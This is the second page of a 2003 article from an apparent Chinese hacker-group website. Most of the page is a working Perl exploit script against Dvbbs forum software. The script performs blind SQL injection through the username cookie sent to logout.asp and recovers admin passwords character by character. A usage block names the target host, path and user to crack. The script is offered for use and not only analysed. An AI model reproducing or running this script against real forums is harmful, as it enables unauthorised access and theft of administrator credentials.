绝对背后的微笑 || 中国X黑客小组


	您现在的位置：中国X黑客小组 >> 技术文章 >> 安全防御 >> 漏洞分析 >> 文章正文	用户登录新用户注册

绝对背后的微笑

热荐 ★★★

【字体：小大】

绝对背后的微笑

作者：PsKey 文章来源：isgrey 点击数：更新时间：2003-6-14

=1;$k<=16;$k++) {
&first;
PASSWORD: for ($i=0;$i<@dic;$i++) {
print "$dic[$i].";
$key=$pws.$dic[$i];
$target = "ilikecat'%20and%20exists%20(select%20id%20from%20[admin]%20where%20id=$id[$j]%20and%20left(password,$k)='$key')%20and%20'1'='1";
&second;
if ("@in" !~ /ilikecat/) {
$th=$k.th;
print "\n--------->>The $th word of $id[$j] password is $dic[$i]";
$pws=$pws.$dic[$i];
last PASSWORD;
}
}
}
push (@pass,$pws);
print "\n\n========>>The password is $pws which id is $id[$j]\n\n";
}
print "\#\#\#\#\#\#\#\#\#\#\#End Crackadmin's password...\n\n";
print "We got them now:\n";
printf("%-4s %-20s %-16s\n",ID,UserName,PassWord);
for ($i=0;$i<@id;$i++) {
printf("%-4d %-20s %-16s\n",$id[$i],$user[$i],$pass[$i]);
}
}

else {
&usage;
}

sub first {
$str="username=ilikecat&password=catlikeme&CookieDate=1";
$len=length($str);
$req = "GET $path/login.asp?action=chk&username=ilikecat&password=catlikeme HTTP/1.1\n".
"Referer: http://$host$path/login.asp\n".
"Host: $host\n".
"Content-Length: $len\n".
"Cookie: aspsky=usercookies=&userid=&userclass=&username=&userhidden=&password=; iscookies=0; BoardList=BoardID=Show;upNum=0\n".
"\n".
"$str\n\n";
print "\n.";
sendraw($req);
$req0 = "GET $path/index.asp HTTP/1.0\n".
"Referer: http://$host$path/index.asp\n".
"Host: $host\n".
"Cookie: aspsky=userid=$userid&usercookies=0&userhidden=2&password=aac9ac496fa5ea8e&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&username=ilikecat; iscookies=0; BoardList=BoardID=Show; upNum=0\n\n";
print ".\n";
sendraw($req0);
}

sub second {
$req1 = "GET $path/logout.asp HTTP/1.0\n".
"Host: $host\n".
"Cookie: aspsky=userid=$userid&usercookies=1&userhidden=2&username=$target; iscookies=0; BoardList=BoardID=Show; \n\n";
print ".";
@res = sendraw($req1);
$req2 = "GET $path/index.asp?action=show HTTP/1.0\n".
"Referer: http://$host$path/index.asp?action=show \n".
"Host: $host\n".
"Cookie: aspsky=usercookies=&userid=&userclass=&username=&userhidden=&password=; iscookies=0; BoardList=BoardID=Show; upNum=0\n\n";
print ".";
@in = sendraw($req2);
}

sub usage {
print qq~
Usage: $0 -h <Host> [-p <port>] -w <path> -i <userid> -m <mode> [-u <user>]
-h =hostname you want to attack
-p =port,80 default
-w =the web path such as "/dvbbs"
-i =the userid of ilikecat
-m =only two choice,b<background> and p<proscenium>(This option need -u)
-u =the user you want to crack
Eg: 1.Crack proscenium
$0 -h www.target.com -p 80 -w /dvbbs -i 2 -m p -u admin
2.Crack background
$0 -h www.target.com -p 80 -w /dvbbs -i 2 -m b
~;
exit;
}

sub sendraw {
my ($req) = @_;
my $target;
$target = inet_aton($host) || die("inet_aton problems\n");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
select(S);
$| = 1;
print $req;
my @res = <S>;
select(STDOUT);
close(S);
return @res;
}
else {
die("Can't connect...\n");
}

上一页 [1] [2]

文章录入：IceRiver 责任编辑：IceRiver

上一篇文章： 21cn的邮件系统的大BUG

下一篇文章：动网的洞--again

【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

最新热点		最新推荐		相关文章
				注意在Ghost系统背后隐藏着的深度：解密“熊猫烧香”案背 “熊猫烧香”病毒背后的利益绝对调用IE浏览器的弹出窗口经济观察：“流氓软件”背后耍流氓赚快钱流氓软件背后的 QQ号贱售事件背后：腾讯醉翁打造100%绝对安全的个人电脑中国互联网背后玄机:市场仍于绝对调用IE浏览器的弹窗

　网友评论：（只显示最新5条。评论内容只代表网友观点，与本站立场无关！）


关于我们 - 版权声明 - 帮助(？) - 广告服务 - 联系我们 - 友情链接 - 用户注册 -	Powered by ICE RIVER - STUDIO

» CnXHacker.CoM